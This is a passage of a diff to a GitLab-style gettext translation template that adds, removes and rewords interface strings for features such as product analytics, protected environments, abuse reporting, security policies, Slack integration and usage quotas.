+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr ""
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr ""
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr ""
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr ""
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr ""
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr ""
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr ""
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr ""
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr ""
@@ -32083,6 +32649,18 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
+msgid "ProjectList|Explore"
+msgstr ""
+
+msgid "ProjectList|Starred"
+msgstr ""
+
+msgid "ProjectList|Topics"
+msgstr ""
+
+msgid "ProjectList|Yours"
+msgstr ""
+
msgid "ProjectOverview|Fork"
msgstr ""
@@ -32302,6 +32880,9 @@ msgstr ""
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr ""
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr ""
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr ""
@@ -32377,9 +32958,6 @@ msgstr ""
msgid "ProjectSettings|Configure your infrastructure."
msgstr ""
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr ""
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr ""
@@ -32551,9 +33129,6 @@ msgstr ""
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr ""
-msgid "ProjectSettings|Operations"
-msgstr ""
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr ""
@@ -32704,10 +33279,10 @@ msgstr ""
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
+msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr ""
msgid "ProjectSettings|Users can request access"
@@ -32839,6 +33414,9 @@ msgstr ""
msgid "ProjectTemplates|Spring"
msgstr ""
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr ""
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr ""
@@ -33463,6 +34041,24 @@ msgstr ""
msgid "ProtectedBranch|default"
msgstr ""
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr ""
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr ""
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr ""
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -33475,6 +34071,9 @@ msgstr ""
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr ""
+msgid "ProtectedEnvironment|Approvers"
+msgstr ""
+
msgid "ProtectedEnvironment|Environment"
msgstr ""
@@ -33511,6 +34110,9 @@ msgstr ""
msgid "ProtectedEnvironment|Select an environment"
msgstr ""
+msgid "ProtectedEnvironment|Select environment"
+msgstr ""
+
msgid "ProtectedEnvironment|Select groups"
msgstr ""
@@ -34241,6 +34843,9 @@ msgstr ""
msgid "Reload page"
msgstr ""
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr ""
@@ -34508,9 +35113,6 @@ msgstr ""
msgid "Renew subscription"
msgstr ""
-msgid "Renews"
-msgstr ""
-
msgid "Reopen"
msgstr ""
@@ -34568,9 +35170,6 @@ msgstr ""
msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication"
-msgstr ""
-
msgid "Reply"
msgstr ""
@@ -34607,6 +35206,33 @@ msgstr ""
msgid "Report your license usage data to GitLab"
msgstr ""
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
@@ -35553,7 +36179,7 @@ msgstr ""
msgid "Runners|Executor"
msgstr ""
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
msgid "Runners|Filter projects"
@@ -35926,7 +36552,7 @@ msgstr ""
msgid "Runners|Yes, start deleting stale runners"
msgstr ""
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
@@ -36133,6 +36759,12 @@ msgstr ""
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr ""
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr ""
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr ""
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr ""
@@ -36157,9 +36789,6 @@ msgstr ""
msgid "ScanExecutionPolicy|Select site profile"
msgstr ""
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
msgid "ScanExecutionPolicy|Site profile"
msgstr ""
@@ -36175,6 +36804,9 @@ msgstr ""
msgid "ScanExecutionPolicy|in namespaces"
msgstr ""
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr ""
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
@@ -36184,12 +36816,36 @@ msgstr ""
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr ""
+msgid "ScanResultPolicy|Newly Detected"
+msgstr ""
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr ""
+
msgid "ScanResultPolicy|add an approver"
msgstr ""
+msgid "ScanResultPolicy|except"
+msgstr ""
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr ""
+
+msgid "ScanResultPolicy|license type"
+msgstr ""
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
+msgid "ScanResultPolicy|matching type"
+msgstr ""
+
msgid "ScanResultPolicy|scanners"
msgstr ""
@@ -36382,9 +37038,6 @@ msgstr ""
msgid "Search projects"
msgstr ""
-msgid "Search projects..."
-msgstr ""
-
msgid "Search protected branches"
msgstr ""
@@ -36752,6 +37405,15 @@ msgstr ""
msgid "SecurityOrchestration|%{branches} branch"
msgstr ""
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr ""
@@ -36773,6 +37435,9 @@ msgstr ""
msgid "SecurityOrchestration|Add action"
msgstr ""
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr ""
@@ -37052,7 +37717,7 @@ msgstr ""
msgid "SecurityOrchestration|Summary"
msgstr ""
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
msgstr ""
msgid "SecurityOrchestration|There was a problem creating the new security policy"
@@ -37115,10 +37780,10 @@ msgstr ""
msgid "SecurityOrchestration|a"
msgstr ""
-msgid "SecurityOrchestration|all branches"
+msgid "SecurityOrchestration|all namespaces"
msgstr ""
-msgid "SecurityOrchestration|all namespaces"
+msgid "SecurityOrchestration|all protected branches"
msgstr ""
msgid "SecurityOrchestration|an"
@@ -37133,6 +37798,9 @@ msgstr ""
msgid "SecurityOrchestration|group level branch"
msgstr ""
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr ""
+
msgid "SecurityOrchestration|scanner finds"
msgstr ""
@@ -37202,9 +37870,6 @@ msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr ""
-
msgid "SecurityReports|Change status"
msgstr ""
@@ -37424,9 +38089,6 @@ msgstr ""
msgid "SecurityReports|Submit vulnerability"
msgstr ""
-msgid "SecurityReports|Take survey"
-msgstr ""
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
@@ -37454,6 +38116,9 @@ msgstr ""
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr ""
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr ""
@@ -37484,9 +38149,6 @@ msgstr ""
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr ""
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr ""
-
msgid "SecurityReports|Vulnerability Report"
msgstr ""
@@ -37505,9 +38167,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr ""
-
msgid "SecurityReports|scanned resources"
msgstr ""
@@ -38287,6 +38946,9 @@ msgstr ""
msgid "Show file contents"
msgstr ""
+msgid "Show filters"
+msgstr ""
+
msgid "Show group milestones"
msgstr ""
@@ -38502,9 +39164,6 @@ msgstr ""
msgid "Sign-in count:"
msgstr ""
-msgid "Sign-in failed because %{error}."
-msgstr ""
-
msgid "Sign-in page"
msgstr ""
@@ -38631,9 +39290,6 @@ msgstr ""
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr ""
@@ -38664,6 +39320,12 @@ msgstr ""
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
msgid "SlackIntegration|Verification token"
msgstr ""
@@ -38691,10 +39353,10 @@ msgstr ""
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr ""
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
@@ -38706,22 +39368,16 @@ msgstr ""
msgid "Slack|Connect your GitLab account"
msgstr ""
-msgid "Slack|Create a new issue"
-msgstr ""
-
-msgid "Slack|Create new issues from Slack: %{command}"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
msgstr ""
-msgid "Slack|Run a CI/CD job"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
msgstr ""
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
-msgstr ""
-
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
msgstr ""
msgid "Slice multiplier"
@@ -39219,6 +39875,12 @@ msgstr ""
msgid "Source branch"
msgstr ""
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr ""
@@ -39414,15 +40076,15 @@ msgstr ""
msgid "Start a Free Ultimate Trial"
msgstr ""
-msgid "Start a new discussion…"
-msgstr ""
-
msgid "Start a new merge request with these changes"
msgstr ""
msgid "Start a review"
msgstr ""
+msgid "Start another thread"
+msgstr ""
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -39912,18 +40574,36 @@ msgstr ""
msgid "Subscriptions"
msgstr ""
+msgid "Subscriptions|Activation date"
+msgstr ""
+
msgid "Subscriptions|Chat with sales"
msgstr ""
msgid "Subscriptions|Close"
msgstr ""
+msgid "Subscriptions|End date"
+msgstr ""
+
+msgid "Subscriptions|End date:"
+msgstr ""
+
+msgid "Subscriptions|Last sync"
+msgstr ""
+
+msgid "Subscriptions|None"
+msgstr ""
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr ""
msgid "Subscriptions|Start a free trial"
msgstr ""
+msgid "Subscriptions|Start date"
+msgstr ""
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr ""
@@ -40140,6 +40820,9 @@ msgstr ""
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr ""
+msgid "SuperSonics|Add activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr ""
@@ -40158,7 +40841,7 @@ msgstr ""
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Customers Portal"
msgstr ""
msgid "SuperSonics|Export license usage file"
@@ -40179,9 +40862,6 @@ msgstr ""
msgid "SuperSonics|Licensed to"
msgstr ""
-msgid "SuperSonics|Manage"
-msgstr ""
-
msgid "SuperSonics|Maximum users"
msgstr ""
@@ -40670,15 +41350,6 @@ msgstr ""
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr ""
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr ""
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr ""
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr ""
-
msgid "Terminal"
msgstr ""
@@ -40709,6 +41380,21 @@ msgstr ""
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr ""
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr ""
+
+msgid "TerraformLimits|Terraform limits"
+msgstr ""
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr ""
@@ -40975,9 +41661,6 @@ msgstr ""
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr ""
-msgid "TestReports|Tests"
-msgstr ""
-
msgid "TestReports|There are no test cases to display."
msgstr ""
@@ -41231,6 +41914,9 @@ msgid_plural "The following personal access tokens: %{token_names} were revoked,
msgstr[0] ""
msgstr[1] ""
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr ""
@@ -41380,6 +42066,9 @@ msgstr ""
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr ""
+msgid "The new Web IDE"
+msgstr ""
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr ""
@@ -41584,6 +42273,9 @@ msgstr ""
msgid "There are no abuse reports!"
msgstr ""
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
msgid "There are no archived requirements"
msgstr ""
@@ -41932,6 +42624,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -42034,21 +42729,27 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr ""
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
msgid "This commit was signed with a different user's verified signature."
msgstr ""
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -42271,6 +42972,9 @@ msgstr ""
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr ""
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr ""
@@ -42346,9 +43050,6 @@ msgstr ""
msgid "This job requires a manual action"
msgstr ""
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr ""
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -42553,7 +43254,7 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
msgstr ""
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
@@ -42995,6 +43696,11 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "To keep this project going, create a new issue"
msgstr ""
@@ -43211,7 +43917,7 @@ msgstr ""
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
@@ -43508,24 +44214,12 @@ msgstr ""
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr ""
-msgid "Trials|Go back to GitLab"
-msgstr ""
-
-msgid "Trials|Skip Trial"
-msgstr ""
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr ""
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] ""
@@ -43630,15 +44324,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
+msgid "Try it out now"
msgstr ""
msgid "Try out GitLab Pipelines"
msgstr ""
-msgid "Try out the new Web IDE"
-msgstr ""
-
msgid "Try the troubleshooting steps here."
msgstr ""
@@ -43810,6 +44501,9 @@ msgstr ""
msgid "Unable to create link to vulnerability"
msgstr ""
+msgid "Unable to create pipeline"
+msgstr ""
+
msgid "Unable to fetch branch list for this project."
msgstr ""
@@ -43852,6 +44546,9 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr ""
@@ -44032,6 +44729,9 @@ msgstr ""
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr ""
@@ -44071,6 +44771,9 @@ msgstr ""
msgid "Unverified"
msgstr ""
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr ""
@@ -44140,6 +44843,9 @@ msgstr ""
msgid "UpdateProject|Could not set the default branch"
msgstr ""
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr ""
@@ -44302,15 +45008,9 @@ msgstr ""
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr ""
-msgid "UsageQuota|Increase storage temporarily"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr ""
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
@@ -44341,15 +45041,9 @@ msgstr ""
msgid "UsageQuota|Pipelines"
msgstr ""
-msgid "UsageQuota|Purchase more storage"
-msgstr ""
-
msgid "UsageQuota|Purchased storage"
msgstr ""
-msgid "UsageQuota|Purchased storage available"
-msgstr ""
-
msgid "UsageQuota|Purchased storage used"
msgstr ""
@@ -44407,24 +45101,12 @@ msgstr ""
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr ""
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr ""
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr ""
-msgid "UsageQuota|Total excess storage used"
-msgstr ""
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr ""
-
msgid "UsageQuota|Uploads"
msgstr ""
@@ -44452,9 +45134,6 @@ msgstr ""
msgid "UsageQuota|Usage of resources across your projects"
msgstr ""
-msgid "UsageQuota|Usage quotas help link"
-msgstr ""
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr ""
@@ -44473,15 +45152,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr ""
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ""
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
@@ -44638,6 +45311,9 @@ msgstr ""
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr ""
@@ -44694,6 +45370,12 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr ""
@@ -44868,9 +45550,6 @@ msgstr ""
msgid "UserProfile|Activity"
msgstr ""
-msgid "UserProfile|Already reported for abuse"
-msgstr ""
-
msgid "UserProfile|Blocked user"
msgstr ""
@@ -44937,10 +45616,10 @@ msgstr ""
msgid "UserProfile|Subscribe"
msgstr ""
-msgid "UserProfile|This user doesn't have any followers."
+msgid "UserProfile|There are no projects available to be displayed here."
msgstr ""
-msgid "UserProfile|This user doesn't have any personal projects"
+msgid "UserProfile|This user doesn't have any followers."
msgstr ""
msgid "UserProfile|This user has a private profile"
